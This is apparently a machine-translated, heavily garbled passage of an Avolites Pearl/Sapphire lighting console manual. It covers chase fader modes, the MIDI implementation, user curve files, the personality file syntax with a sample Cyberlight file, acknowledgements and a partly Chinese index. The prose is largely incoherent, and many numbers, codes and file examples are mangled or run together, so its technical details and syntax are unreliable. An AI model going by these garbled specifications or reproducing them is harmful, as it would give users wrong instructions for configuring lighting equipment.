44 (0) 1622 755 442 British NJD.

44 (0) 1159394122 United States. .

Level of command.

14089868800 UK Ryger. .

44 (0) 1773 530325 Italy Stefano British Satire JYG No.738 951 39 35 777 44 (0) 1708 530325 SGM JYG UK.

44 (0) 1708741613 Italian Space Cannon Alexander Bales. .

131 772 39 288 (fax) 292 UK.

Starlight light French Yan Lubbock 44 (0) 171 511 4400. .

The United Kingdom.

Stranded lit David Burtenshaw 44 (0) 181 560 3171 种 Italy. .

352 761 39 British TAS Coe-520 tech Kevin technology room appropriate Franco Bertini culture 44 (0) 1604 785878 Vari-Lite C in the United States.

UK field service 12146301963. .

44 (0) 181 575 Wynne, Wilson 6666 Gotelier UK Ltd. (Tunbridge Wells) Peter Vari-Lite Europe co., Ltd technical support win Wilson.

23. . Appendix 5. In the operation mode of the ADD button functions. .

This table can be applied to normal operation mode, take over the operation, while two preset mode.

LINKS as well as in the above. .

The FADER or zero.

Parameters in the chase to pull down the way of putting. .

FADER WILL RELOAD CHASE 。.

FADER STOPS GO TO START. .

FADER STOPS STARTS CHASE 。.

Impact. .

OFF 。.

ZERO. .

FADER WILL RELOAD CHASE 。.

DOES NOTHING. .

ON 。.

ZERO. .

FADER WILL RELOAD CHASE 。.

CHASE RUNS AS IF FADER AT FULL. .

OFF 。.

FULL. .

FADER WILL RELOAD CHASE 。.

RUNS NEXT CHASE STEP. .

ON 。.

FULL. .

FADER WILL RELOAD CHASE 。.

CHASE GOES STRAIGHT TO NEXT STEP AND CONTINUES TO RUN. .

OFF 。.

ZERO. .

FADER STOPS STARTS CHASE 。.

RUNS CHASE TO END OF CHASE STEP. .

ON 。.

ZERO. .

FADER STOPS STARTS CHASE 。.

CHASE RUNS AS IF FADER AT FULL. .

OFF 。.

FULL. .

FADER STOPS STARTS CHASE 。.

RUNS NEXT CHASE STEP. .

ON 。.

FULL. .

FADER STOPS STARTS CHASE 。.

CHASE GOES STRAIGHT TO NEXT STEP AND CONTINUES TO RUN. .

OFF 。.

ZERO. .

FADER STOPS ，GO TO START 。.

RUNS CHASE TO END OF CHASE STEP. .

ON 。.

ZERO. .

FADER STOPS ，GO TO START 。.

CHASE RUNS AS IF FADER AT FULL. .

OFF 。.

FULL. .

FADER STOPS ，GO TO START 。.

RUNS NEXT CHASE STEP. .

ON 。.

FULL. .

FADER STOPS ，GO TO START 。.

CHASE GOES STRAIGHT TO NEXT STEP AND CONTINUES TO RUN. .

Notes FADER STOPS, GO TO START assuming that brings push pull down to zero, so the Chase has stopped.

24. . 6 Appendix. MIDI implementation details. .

MIDI full implementation in Pearl, however in the motherboard on a small number of amendments in a continuous console under PRL330 was requested. Details of how to do this can be downloaded from the Website of Avolites or through contact with services in the UK in Avolites.

Console can respond to MIDI Timecode. It also can respond to this type of MIDI control is defined here. .

This appendix taken a MIDI a reasonable working knowledge. Some of the most MIDI book can be found in the technical bookshops, a short readings this appendix was recommended in the final.

15 of 15 sets of user preference for a MIDI master (output MIDI) console, MIDI slaves (on the MIDI response) or no MIDI. .

A short MIDI review 24. .1 packaging normal MIDI data blocks as follows:.

Status byte STATUS BYTE1 BYTE2 or 1sssnnnn 0xxxxxxx 0yyyyyyy always has its MSB set; data bytes that is always clear. .

Nnnn sss = status number = number of MIDI channels,. The user preference menu is placed.

xxxxxxx and yyyyyyy is the data byte. .

Some standard MIDI Pack 24. execution of Pearl MIDI .2 is used.

These names are usually given in italics. .

All commands are given in hexadecimal notation, and are indicated by $ for clarity, unless you indicate otherwise.

MIDI channel number is always displayed as N. .

eg 。 = $ Cn is placed in the list of page numbers status byte.

24. .2. .1 To place the current page. .

Program changes.

$ Cn Facet and the list of pages that list the data will follow. .

The following list for the given value: Facet page.

1. .

2.

37d 7e 7f. .

B 。.

02 0c. .

15.

C. .

03 0d 。.

16. .

D 。.

04 0e. .

17.

E. .

05 0f 。.

18. .

F 。.

10. .

19.

G. .

111a 。.

H. .

121b 。.

I. .

131c 。.

J0a. .

14.

1d. .

D examples $ Cn $ 04Desk changes become Facet volume 1 page.

F $ Cn $ 19Desk change as Facet Volume 3. .

24. .2 .2. placement (on the current page) playback level (level).

Playback putting pull down the run, which is composed by the Playback of 3-byte command to pull down the volume fader, while Playback the level (level) to pull down fader. .

Notes.

$ 90 Playback volume fader to pull down, Playback the level (level) to pull down fader (ranked 0. V.19, 0. .127). .

In adequate level (horizontal), for example $ $ $ 7FPlayback 9n 03 4 push to pull down.

(That number Playback to pull down fader start at zero). .

24. .2 .3 in Chase! on your feet, etc..

In order to control aspects of chasing, you need 3 bytes command. .

In contact with the Playback to A0 push pull down, control password is: password control.

$ 00stop chase chase $ 02 $ 01 to run from the steps to re-start on the next use of the 1 $ 03fade programming directly next to the era of $ 04Snap putt to pull down. .

24. .3 MIDI time code.

MIDI time code from the original file from running. .

A quarter of the full-frame is supported for the type of information, while at the same time they follow a standard format, which can in most MIDI was found in the manual. This final section of the appendix to see 24. .5 a further reading.

One of the Midi Timecode for EBU LTC Timecode converted from the JC Cooper Electronics Manufacturing, whose address is 12500 Beatrice Street, Los Angeles, CA 90066 USA, or through Avolites UK. .

24. .4 a Midi problem.

Console supports data rates sufficient pulse 2 seconds, the following data can be lost, because it can not be processed. .

MIDI tuning Terminal available for use. In order to activate this:.

* Key rotation system. .

* Press the Softbutton [TEST].

* Press Softbutton D [ENABLE DEBUG BUTTONS]. .

* Rotate the back key to the required position.

* Not significant crowded press the correct sequence of control buttons on top of the MIDI terminal screen of the toggle, which shows on the VDU. .

* Pressing the same button again to MIDI terminal screen incapacity.

The operation of this button by selecting from the TESTS menu Softbutton be prevented or re-arrangement F console. .

24. .5 a further reading MIDI control system, and through the focus of Francis Rumsey for press publishing, pp. 0ISBN 0240.

MIDI detailed specifications published by the International MIDI connection, section 213 as section 649 that 2,136,496,434. .

In contact with them.

5316 W. .57 Th Street, Los Angeles, CA 90056 USA. .

25. Appendix 7. User-defined curves more fuzzy.

The user's file format is more vague definition of the curve is very simple. .

It includes data and 256 lines that contains between 0 and 255 in decimal number of one per line, while this one for a given input values on output, this input value is a line number. Allow comments but there must be a project after at least five spaces.

No other body allows. .

The file name must be a .DAT. UC.

Examples of user data files bending project:. .

Level 0 (horizontal) will be the output 00.000.

1 level (horizontal) output 05 will be 005. .

2nd level (level) output will be 07-007.

Level 3 (level of) output 09 will be 009. .

4 level (level) output 11 is 011.

5 level (horizontal) output 13 will be 013. .

6 level (level) output will be 019 19.

7 level (horizontal) output 21 will be 021. .

This file MUST be 256 lines long. 26. Appendix 7. Personality file system.

This appendix primarily designed for those users, would like to know how to write or change the personal file. .

Personality file system using a simple programming language. Some of the most simple hand-written software prior knowledge (0000) we tried to create Whilst being taken.

If the idea to write the software, your eyes glaze read no further, and knowledge to use your console to enjoy, there are software programmers in the Avolites actually enjoy writing personal documents and personal files if you touch the equipment requested Contact us and we will help. .

26. What is .1, how I write, or alter the personality file?.

Individual files that contain information on ASCII text format to the console, if each instrument channel PATCH. .

Since the file format as the ASCII text you can easily modify them, and for your own use and to create new versions.

You can edit or use any continuous or word processing software compatible IBMPC, as long as it has 3. .5-Inch floppy disks, and 720K format to save. (Most can). .

When you edit the file you must make sure that when your vocabulary processor is placed in order to allow for simple ASCII text format to save. If you use the Windows write manufacturing clear, when you open the file you select No, and when you close your text file and save it in a file format.

In the original back-up support for editing before manufacture, in case your editing does not work. .

26. Article personality file named .2 by personality file using three kinds of extensions, these are. PER 。 D2 。 R96 。 R20 。.

File extension. D2 is not in the scope of this manual, and with the Avolites Diamond documents related to two personality. .

Extension of the file. PER precedes Sapphire and Pearl are creating 96 software. Because of these various different versions of a new extension. (Article 96 Rolacue) designed the R96.

96 kinds of software, sapphire and pearl will read any. PER file and any. R96 files, but when. PER files are read in order to warn the user information will be dedicated to an old personality file to be used in the same time, all the features the console will work correctly. Typically, this includes tracking - the focus of pre-loading and positioning fixtures and brand functions. .

A better naming of leveraging. R96 file, the file name of the first two letters describes factory name.

File extension. R20 can only with the first 2004 Pearl has provided these documents within the console in the improvement of the function of additional areas. The new field is. .

26. should appear .3 a PERSONALITY FILE KEYWORD ORDER keyword in the following order: DEVICE.

TYPE. .

DEVICEADDRESS 。.

DAEND. .

MINDMX 。.

MAXDMX. .

DIVBY 。.

MIRROR. .

DMX 。.

DMX. .

TEXT 。.

END PFTABLE. .

PFEND MACRO 。.

MEND. .

26。.4 THE INSTRUMENT NAME 。.

INSTRUMENT NAME will appear in the following format:. .

DEVICE XXXXXXXX 。.

Where DEVICE is the keyword to tell the console device name to follow, while "XXXXXXX" is the device name, the name will be long 11 characters, while allowing any space or tabs. .

This instrument name will appear in a soft button on that PATCH and is used in a wide variety of views on the screen, when the operations console.

Usually easier to make similar DEVICE NAME actual file name to make things (things) more easily, when the service profiling. .

26。.5 THE DEVICE TYPE 。.

DEVICE TYPE will appear in the following format:. .

The 1TYPE YZ.

Where TYPE is the keyword in order to tell the console DEVICE TYPE using the data to follow. .

"1", which is on the first character is no longer backward compatibility use but are required. This field can be used in future versions, and always should be "1".

"Y" in the field to tell given the way the console device usage information ATTRIBUTES (channels) number, and the project, "Z" device is to be the PATCH. .

In the following areas:.

M from Section 512 至 001 dmx's PATCH (down). .

D from 001 to 512 dmx's PATCH (up).

K for those devices in the dmx channels used by continuous slotted in place. .

For example, TYPE-LINE, can look like as: first 1TYPE 18M.

Place the device: channel use PATCH down from 512, while the next line for the 10 channels and PATCH to place devices from 001 to 512. .

The 1TYPE 110 species D26. .6 such fixtures switch settings.

This allows the console display for a given DMX address of the form required by the exact fixtures switch settings, and ensure that it is placed in the right way. .

Actually display the form in any desired way.

Fixtures, switches details MUST be declared before the declaration of DMX. .

Some variables for such use within the function, which is provided.

D = dmx number of instruments to be assigned. .

H = processing machines by the action.

N = device name is given early in the personality file. .

You should note that these variables must be in lower case.

Switch settings and fixtures are link keywords are:. .

DEVICEADDRESS 。.

DAEND. .

MINDMX 。.

MAXDMX. .

DIVBY 。.

Information for display fixtures to allow the screen space is 10 lines of 21 characters. .

Fixtures switch details and end the DEVICEADDRESS and DAEND identifies.

The formula shows this information by the 79 character limit of 10 lines. .

Three other variables must be defined for the instrument is.

= Lowest DMX number of instruments MINDMX be made. .

MAXDMX = maximum number of DMX address, instrument.

= Difference between the two dmx address, DIVBY LS by changing the address of the switch point selection. .

For example, if the number 1 DMX is 1 instruments address switch incremental time difference DIVBY, if you are 20, Cyberlight like it on like 20 increment then DIVBY.

DIVBY used to ensure that equipment to make recommendations to the user in the address was PATCH. .

There followed the Cyberlight examples. The instrument can only be converted into a DMX address.

; The use of the variable D = dmx number, H = treatment, N = devicename;. .

"% 04b% 1b001 (D20) 16%, (16) D20.

; This is the address display line. .

; 1. Citations are displayed in the project (entries).

; 2. . Here's the project (entries) (address) The first is the ascii text. .

; 3. % 04b = 4 bit binary data, the leading 0 0 means of display.

; 4. . Followed by a space. .

; 5. % 1b = binary data of 1 point.

; 6. . 001 is ascii text again. .

; 7. Close quote.

; 8. . The first variable passed ((D20)% 16..

; (D20: dmx 20 gives the number of fixtures.

;% 16: isolation of a lower 4 point. .

; 16-bit 4: negative.

; 9. . The second variable by (D20..

; (D20: given the number of dmx fixtures 20.

; 16: isolation of a little above 4. .

；DEVICEADDRESS 。.

"Processing% 2d" H. .

"%"% 11N fixtures.

"DMX% 03d" D. .

"Dip switch No. 1234 1234 5678.

"No. 0000 personality 0000 0000." .

"% B% B% B% B% b001" D20% 2% 2, D40, D80% 2% 2, D160, D320% 2.

"0" = OFF (right). .

= 1, "ON" (left).

DAEND. .

MINDMX =1 。.

MAXDMX = 481. .

DIVBY =20 。.

An example of putting the next color to pull down, the device is using GROUP and ADDRESS switch. .

; Char allows Upto 10 of 79 lines, including the formulae.

; The use of the variable D = dmx number, H = treatment, N = devicename; "make% 04b% 1b001" (D20) 16% 16), (D20..

; This is the address to display line.

; 1. . Citation appears in the item (items). .

; 2. Here's the project (entries) (address) the first is the ascii text.

; 3. .% 04b = 4-bit binary data,, 0 kinds of means does not place the leading 0. .

; 4. This was followed by space.

; 5. .% 1b = binary data of a point. .

; 6. 001 once again is ascii text.

; 7. . Close quote. .

; 8. A variable passed by the first ((D20)% 16.

; (D20: dmx 20 given a fixed number of devices..

;% 16: isolated lower 4 point.

; 16 -: negative 4 point. .

; 9. Adopted by the second variable (D20.

; (D20: given the number of fixtures, dmx 20..

; 16: 4 solitary. above.

;. .

DEVICEADDRESS 。.

"Processing% 2d" H. .

"%"% 11N fixtures.

"DMX% 03d" D. .

"GROUP %2d "D121 。.

"CHANNEL% 2d" D% 12. .

DAEND 。.

MINDMX = 1MAXDMX, = 508 DIVBY, = 326. .7 MIRROR. .

A mirror is used to define the instruments type-mobile head or move the mirror and the maximum level, and by making angle vertical instruments cannot be moved. These values are for 3D tracking system. Typically, the MIRROR line looks like as:.

Article 1MIRROR 1170. .

In the following areas:.

MIRROR is the keywords. .

1 indicates that moves in this area reflect the 2 shows a moving head instrument.

170 is the maximum level of exercise. .

110 is the best allows vertical movement.

26. .8 THE DMX PRESET LAYOUT. .

Will appear in the following format: DMX PRESET LAYOUT.

DMX. .

BCDEFGH I JKL; views.

BCDEFGH I JKL; views. .

END 。.

In the DMX is the keyword to tell where the console dmx, preset and fader to pull down information to follow. Field "." .

This drop is due to return will are linked with DMX channels, more later. The range is from 1 to 12 of the console, but the brand of up to 15.

0 in this field (zero) shows that it is in line before the 16-bit channel defined in part. Area "B". .

This tells the console, and returns the attribute selection push pull down for one channel, 1 means that the bottom line and the top row of 61.

Area "C". .

This is the channel type, there currently is available in 5 different channel types:.

H, (HTP) is more ambiguous. .

L mobile lighting and scrollers (LTP).

I am not putting pull down the (immediate) LTP channels. .

S (doubling the byte) not push pull down 16 bit LTP channel.

S (so that double byte) 16 bit LTP channels. .

"D".

This is defined by the DMX address of the relevant property, starting from 1. .

In the field of "E".

This is the kind of property in the% maximum output, in place of 0 kinds of means did not complete 100% of output and adequate output. .

This allows channel level (level) is restricted.

Field "F". .

This is a channel section 4 support curves, DOM version 2. .xx and 4 different curves:.

1 = linear curve. .

2 = Plaza (square).

3 = 50% o'clock in the relay, in the (128). .

= Party number 4 FD, curve can be: prefix.

N = normal. .

C = add curve (ie reverse channel).

Area "G". .

This is a PAN and TILT table with an identifier of the user. This will be explained in the TABLES section. This project can be run to f and 0 (zero) means that any table items.

Field "H". .

It always must be 1 (checksum easily removed).

Field "me." .

This defines a channel name. This should be the reverse of the comma, and the long term can be up to 11 characters, and it can include spaces. This will be used in the screen up more slowly to determine channel software revisions.

"J", "K" and "L" in the field definition of the three default level (level) they can be output. The positioning fixtures, an important part and Lowlight. .

The range is 0. .255 and-1 means no change to the output.

Positioning fixtures for the motion to open for such an instrument is what you can see where the level (level) of the light fixtures and sets of channel menu. In general, settings for 50 50% 50% horizontal vertical, white, no gobo, 100% more ambiguous. .

Important part and Lowlight used aims at Sun, when you edit a focus or otherwise identify the other into a vague status whilst a instrument.

Areas of the body 26. .9 TEXT FIELD will be displayed, then PATCH device. .

The body field can hold any text you like, but generally it displays the properties of the returned device layout is the PATCH.

When (because) sapphire and pearl console using the same character you have to take Reasons screen size (size) difference. .

In the above quantities Exposition in Pearl and Sapphire displayable characters on the screen to the maximum quantity. Avoid writing with look at areas of the body of the pearls of a special kind of method two sets of individuality, in every single line 21, it discards all characters.

Write back to the same layout as the personality to allow for two consoles. .

12140.

1. .

Pearl Sapphire.

20 pearl and sapphire screen layout. .

26. .10 PRESET FOCUS table.

The table system was redefined, and to improve. .

New table can be any kind of default preset focus or in the memory utilization of manufacturing cannot be used as an absolute value.

Default preset when the focus when the instrument is PATCH automatically loaded on the focus button. .

Two key lines as a table, define the line as well as data lines.

Looks like the same line as the definition:. .

First name PFTABLE table B. ..

In place to allow the table to be connected with the brand attributes button. .

Instruments, when the pen is click on the sign in the table at the table (single) LCD (or VGA) appears on the screen, move the pen allows you to select a table or for the project.

This is the range - a significance table is not a sign of the commissioner or a button. .30 Definition, fasten the table would be a commissioner. .

B is the place to be defined in table within dmx channel value tables (single).

For example:. .

Section 347 first 347PFTABLE "GOBO.

The first word is that the focus of the table to follow preset keywords PFTABLE. .

Secondly, following the table name. This can be up to 11 characters, and can include spaces. It must be doubled for the beginning and end of the citation.

The first number of which brand attributes that will be available to fasten the table. .

The final number is the actual number of DMX channels.

Second array contains the actual focus information, and are defined as follows: the name of the focus button to focus the number of channel level (horizontal). .

When this is the name of focus to give focus to the name. This can be up to 11 characters, and can include spaces. It must be doubled for the beginning and end of the citation.

At that time the focus button number defines the project focus will be placed in the top button, - 1 () a negative one that the above items are not placed in the button, and will use the table as an absolute value of 1. .60 Focus button number that the number of whilst. .

In the channel level (level) is the actual level of the instrument (horizontal) output. This must be in hexadecimal notation. If no value is requested (item is OFF)--negative should be placed in the area.

For example: the first 20GOBO "200FF;..

The first area is the focus of the name STAR GOBO.

Second, the focus will be placed on the focus button in the above number. In this case, the concentration of 20 buttons. .

"STAR" GOBO--010FF;.

In this case, the project will not be pre-focus, but the data used as the vertical. .

Please note that this data can be accessed only from the brand. The table is no longer placed on the soft knob to f above.

Second, the data value. .

Preset focus the last line must be: PFEND in some preset focus table.

26. .11 MACROS. .

Macros allow channel a defined set of rather be adjusted like run Chase. To take advantage of this principle is to allow the instrument to combat or rescheduling, sometimes requires channel sequence intermittently been rotated over a certain time scale.

All other consoles in the run macro function Whilst locked. Macro agile road lines on the screen aspect attending. .

There are links with the three key types of data lines macro, these are:.

"Macro name" channel list (single) "Data" Data Sheet (Single) MACRO "delay" 1 time MEND. .

Can be up to 11 characters of the name of the local "macro", and can include spaces. It must be doubled for the beginning and end of the citation.

At that time channel table (single) is the instrument DMX channels, the data from the data table in terms of (single) to be adopted. .

The following data will be passed to the instrument of "data". Please note that this MUST in lower case, at the same time in enclosed in double quotes.

Data Sheet (single) is about to be passed to the instrument data. It must be hexadecimal notation. ..

"Delay" of this statement can be chosen arbitrarily (declarations) defined in the previous delay time for the next step. When must subsequently be 1 when using it. This area is for future use.

Time 0. Units of .1 seconds delay time, and in hexadecimal. .

3 seconds is macro 2E must statements (declarations) MEND termination.

A typical example of the macro is: the first 11 820 s 11820HOME "; the equipment sent to the home position" data "section 0 kinds 0FF 10 kinds of" delayed "00FF" delay "120 of the first 0,120 kinds of" data "; 0040 wait about 2. .5 "delay" 140; for the high end of the Cyberlight wait about 5 seconds 0 "data" 000MEND 26. .12 examples of individual files..

Items in BOLD (entries) is required, in addition, everything is free to change views to delete, and so on always precede; commentators.

; "High end of the first 1Cyberlight way", 20 DMX Channels, filename: hecyber1. . Per. .

； 。.

; Description of date. .

; 26-05-94 Salzedo creation.

; 10-08 -94 Anwar modified dmx slot. .

; 07-09-J .B. 94. to channel .Toby pearls utilization/reposition the amendment.

; 11-11-94 J. . B. . Toby and PerManML match Amendment. .

；2205 96 S。 Inserted channel identification Anwar horizontal/vertical resolution.

; 04 03 96 S. Anwar for the first 96 amendments to ;------------------------------------------ sapphire ----------------------------------. .

; No space allows device name, upto 11 characters, CYBER _ mode1 DEVICE.

;. .

；---------------------------------------------------------------------------- 。.

; Instrument type, 1M for the backward compatibility is required. .

The number indicates the Middle; 1DMX channel used by the number of 120M TYPE.

;. .

；---------------------------------------------------------------------------- 。.

; Mirror / Head resolution MIRROR1170108. .

；| | | 。.

; | | | _ _ _ _ _ _ _ The maximum to (level) vertical movement. .

; (Degree) || _ _ _ _ _ _ _ _ _ _ _ maximum horizontal movement.

; | _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 1 means moving mirror, 2 means moving head. .

； 。.

;------------------------------------------------- ---------------------------. .

; PATCH information. (Upto 10 lines) allows.

; Burnt to allow 159 Upto 10 lines, including formulae. .

The use of variables; D = (1. .512) number, dmx, H = (1. .60), N = devicename, (11-burnt).

; Allows modifiers ;,-,*,/,(,) basic arithmatic. .

After remaining;% means Division; means of logic AND logical; | means OR; R means little flip curernt results (in bytes); logical exclusive OR (^ means operation bytes); become the means to transform; transform into left; R number means to get the value of a parameter; DDMX address; the name N fixtures, and 0-terminated string; H handle number DEVICEADDRESS "processing the%% 2d" H "fixtures"% N "11" DMX% D "," 03d "dip switch No. 1234 5678" 1234 "0000 0000 0000" personality "% B% B% B% B% b001" D20% 2% 2, D40, D80% 2% 2, D160, D320% 2 "" "0 (= OFF)" = "1", (left) ON DAEND . .

； 。.

;------------------------------------------------- ---------------------------. .

; Provides for DMX limit.

;. .

The smallest amount permitted by dmx MINDMX = 1.

;. .

; The maximum allowed number of dmx MAXDMX = 481.

;. .

; Number must consist of the DMX DIVBY separable = 20.

;. .

；---------------------------------------------------------------------------- 。.

; DMX channel description. .

； 。.

; Each DMX channel description of the column column. .

; 1. (1. .12) channel number returned.

; 2. . The return of the top faders (1) or subsection (61) returns in the low-faders. .

; 3. Channel type (L = LTP, H = HTP, I = instantaneous LTP, S = 16-bit immediate LTP,.

; S = 16 - 1:00 Fadeable LTP. .

; 4. DMX compensation (DMX channel 1. .number).

; 5. . Output level (horizontal) from this level (level) (0. .100 Reduced into proper proportion..

; 6. (Applies to only HTP channel) curve number is usually placed into 1.

; 7. . Be inverted (I) or normal (N). .

; 8. Property type (= color wheels, color blends, BCD = E = horizontal, vertical, F =.

; 0 = uncategorised). .

; 9. Checksum channel 1 (always); 10. Property names must be enclosed in quotes and allowed upto 12 characters; 11. This section (0. .255) channel ON value; 12. An important part of the channel level (level); 13. This channel Lolight level (level).

;. .

DMX 。.

361 S1100 1N 128 - 1 - 1 paras 128 - 1 - 1E1 a "level"; PAN. .

00L2100 1N E1 horizontal--down 128-11; PAN down.

31S3100 1N F1 to 128 - 1 - 1 "vertical"; TILT. .

00L4100 1N F1 "to" 128--1 vertical down-1; TILT down.

I first 05100 1N 41 000 s 00 001 s "color wheel"; COLOUR WHEEL. .

101L6100 255 255 255 1N 255 255 255 Cyan "B1"; CYAN.

1061 L7100 1N No. 2552550 No. 255 255 0D1 kind of "crimson"; MAGENTA. .

961 L8100 1N C "yellow" 1255 255 0; YELLOW.

61 my first 09100 1N 01 "s 1Gobo" 000; first 1GOBO. .

661 01 I the 010100 1N 2Gobo "000"; No. 2GOBO.

861 my first 011100 1N 01 "Gobo Speed 0"; GOBO SPEED. .

The first section 1N 051L12100 000 00001 "rise"; a direct flight to ZOOM.

No. 0561 L13100 1N 0 - 1 - 1 0 - 1 - 101 "Focus"; FOCUS. .

21 I first 014100 1N 01 255 255 255 ","; IRIS.

My first 015100 1N 0191 "impact" 000; EFFECT WHEEL. .

761 I first 016100 1N, 000 the 00001 "cream"; FROST.

No. 0261 L17100 1N No. 255 255 255 No. 25525525501 kind of "shutter"; SHUTTER. .

The more fuzzy 011H18100 1N "" 01255 255 255; DIMMER.

Article 081L19100 1N 01 "engine speed 255"; MOTOR SPEED. .

111 I first 020100 1N, 000 the 00001 "control"; control of the END.

;. .

；---------------------------------------------------------------------------- 。.

; Will be shown the body, when the apparatus is selected for the PATCH. .

； 。.

TEXT. .

The 1Cyberlight way.

Return Faders. .

The top end.

More ambiguous 1 -. .

2 shutters.

3 horizontal / vertical. .

14 colors--.

Increased focus on non-stop 5. .

The 26Gobo 1Gobo.

7 Cream -. .

8M-accelerated Gobo spd.

9 yellow effect. .

10 Cyan dark.

11 kinds of control -. .

INPUT and/or take note of the number of DMX.

Press the channel to win in order to create PATCHEND. .

； 。.

;------------------------------------------------- ---------------------------. .

；表 。.

; Color table color wheel, cyan, dark red, yellow PFTABLE "Color" - 15678 "at 1Col" 10ff ff ff "s 2Col" section 020ff "00 s 3Col" section 0300ff "s 4Col" 4000ff "section 5Col" section 050ff ff "s 6Col" 600ff ff "s 7Col" 70ff 0ff "section 8Col" 8097 32 c8 "section 9Col" 903d a3 bd "s 10Col" 100eb 5a 17PFEND。.

; Gobo PFTABLE "Gobos" - 191011 "No. 1. .1 Gobo" 11200 "No. 1. .2 Gobo" section 012af 00 "No. 1. .3 Gobo" section 013b9 00 "No. 1. .4 Gobo" section 014c3 00 "No. 1. .5 Gobo" first 015cc 00 "No. 1. .6 Gobo" section 016d7 00 "No. 1. .7 Gobo" section 017e1 00 "2..1 Gobo "01802d" 2. ".2 Gobo 01904b" 2. ".3 Gobo 0PFEND 2005f.

; Location PFTABLE "location" - 2180 80 "so that" 225 080 "correct" the first 21,113 "middle" section 80 23b0 "up" at 25,248,050 a "bottom" section 262580 b0 "TLeft" No. 282650 50 "TRight" 27b0 b0 "BLeft" 2850 b0 "BRight" 29b0 50 PFEND. .

The 1MACRO "HOME" ff "delay" 0ff 00ff "delay" rule "delay" 0040 0140 "data" 0120 "data" 0120 "data" 11820 "data" 000MEND.

Article 2MACRO "SHUTDOWN" 0ff ff "delay" 00ff "delay" 0080 "delay" at 0140 kinds of "data" section 0120 kinds of "data" section 0120 kinds of "data" 21,820 kinds of "data" 000MEND. .

27. Trust and gratitude.

The original idea, and by the light of many designers to help design many of the thank Richard Salzedo. .

Ric's hardware is brought to life in Shahid Anwar to design and implement software, David Paul Bujan-Tome and Bari.

From software and hardware sales, guide Steve Warren, and the tons of Shembish and May aid Yam, to spend all free Avo way the minute training designers. .

They in turn back (to produce invoices), Elvira Coomans, total file, and write and Louise Stickland (sales).

Console may be built, while Nuri Waheishi Garry bureau of the production group leader, Raffi Pereira, Darren Jennings and Ali Almas. .

Service assistance by Suresh Keria Adam Profitt, inspection Board collection Alner Hamblin.

In the design of micro - controller lookalikes in, JB Toby has specialised, (regardless of, and Z8). .

Manufacturing is clear all command is Laurraine Gustad is equipped with Dilip Patel, Calvin, and in full.

In order, Alwyn Fernandis and David Morrell has maintained Cadstar, and the cost of Alan Rochell, many design mechanical drawing of the hour. .

The answer is Beverley Robinson.

If you have time you rent the console - in short Garry janitor's room in the care, rent, or sell, Meena Varatharajan will be engaged in collecting your money! . .

Now as you may remember, all software and hardware to life publishing, aspiration to DMX will make your creative ideas real. It is in minutes details of inspection and check carefully, Ewan McRobb Hardiman, Chris Crockford, Liz Berry, Lydia interference (proof reading who this Handbook) and many Avolites distributors and users.

Grateful thanks for writing this handbook to Liz Berry (all 65,646 words). .

All of the above special and warm thanks and for many people, these people have given freely ideas inspiration and encouragement, and for all our users.

Avolites Limited pleaded guilty to all in the manual within their respective trademark owners of the property (feature). .

1.

1-1 kinds of PATCH, 44. .

16-bit level so that controls the vertical, 29.

44D track, 108, 125 absolute, 147 absolute, 128, 129 to run the access plate system, 117 ADD, 147 个 button, different operating Modes. .115 Niu Niu playback function, 159, 16 buttons, preset, 15, 113, 114 master putting down, 15 master push pull down, 16, 113 master putting down Playback, 114, 113, 114, 115 114 Playback reaction time, presets, 114, 26, 27, 40, 43, 51, 90, inhaled air, 147, 147 14ALIGN property that 128 fixtures, 36 arrow key, the allocation of DMX line 17, 49 species of property returns, 16 due to return to the transform attribute key, 78, 27, 28, 114 to chart the personality of the brand control, 127, in value, type, 39 in 119 properties, attributes and table 87, 91, user Settings, and Autoconnect 110 AutoConnecting Chase, 63, AVO 28AVOS, 147, 123 menu password, 122 sheets menu, forced entry to the console, reprogramming, 122 123 . .

B backward, Panel, 13, 14,147 blindness, 60, 76, edit memory of 98 blind manner, leaving 98, 98 program, 98 14 kinds of back-up support for jumping, 25, 32, 63 BPM, 62, 72, 76, 110 147A user Settings, buckle-H, 17.

C改变运行方式，115 DMX 地址，45 CHANNEL ，93 选择所有功能，94 以选择固定装置，93 以选择一系列固定装置，94 EVEN 功能，95 ODD 功能，95 利用中的小组(集团)，94 个通道关键，作为百分比屏幕的17个通道输出，充足的90 个通道输出决议屏幕，90 种追逐，147 autoconnect ，63 自动的关系，63 反向地，25，32 弹跳，25，32 清除临时性的速度和crossfade ，72 连接，62 种控制盒子，71 拷贝，70 ，75 crossfade 控制，25，31删除，72 删除步骤，72 方向控制，25，32 编辑，66 ，67 编辑65 向前，68 进入的时代，，对任何步骤25，32 ，63 跳跃，71 个连接的单独的步骤，68 个环节，65 ，66 个环节，步骤的99 数量，16参数用户Settings ，109 个参数，把功能推杆拉下，74 个参数，首先等待和推杆拉下，74 个参数，允许/所不接受的手工的方式，74 个参数，正常/随机，74 个参数，节省方向，74 个参数，节省速度，74 个参数，放置在最后步骤上面，73 个参数，加速允许/所不接受的轮子，75 个参数，停止，74 Photocopying ，71 记起70 以远程的阶段(舞台)记起，137 记录，24记录，30，61 再数量，73 种放置的速度和十字路口推杆拉下，62 种放置的速度音乐，在若干秒的72 种速度控制，BPM 的25种，31，62 速度，72 种速度，72 种速度，BPM ，62 种速度，通过轻敲打击，72 种速度，秒，62 种速度，76 开始，62 个步骤，删除插入，73 个步骤，插入，69 个步骤，记录，69 单步操作，63 个步骤，147 个步骤，联合体，64 个步骤，联合体，68 个，91 步骤，previewing ，75 个，88 步骤，关于图表的牌子的录音，132 个步骤，renumbering ，70 个步骤，简单，63 个，64 步骤，简单，91 个步骤，简单，68 停止编辑编辑利用的TIMES 菜单，65 次，编辑利用的轮子，65 次，，65 次，全球，63 次，全球，65 次，单独步骤，64 展开屏幕，91 展开，68 观察连接，88 VIEWING 连接，75 种追逐时代屏幕，90 个焦点伪装，79 CLEAR ，19个，76 钮，在牌子上18个，114 程序员，131 CLEAR ，98 种颜色变化，147 种混合，147 个步骤，64 个步骤，91 个步骤，68 种所连接的追逐，148 连接追逐，25，31追逐，自动，63 个轮子，28129 种混合，147 复杂步骤，用轮子以远程的阶段(舞台)用轮子控制区域，16种控制的属性，18种，28属性，28Dimmers ，23Dimmers ，用预置Faders ，23个DMX 通道，136 种固定装置，18种，28固定装置，28种强度，28控制在价值中键入的属性，39 拷贝，70 种，75 ，148 拷贝的记忆，58 Crossfade ，148 Crossfading 追逐，62 个指针关键，17 。.

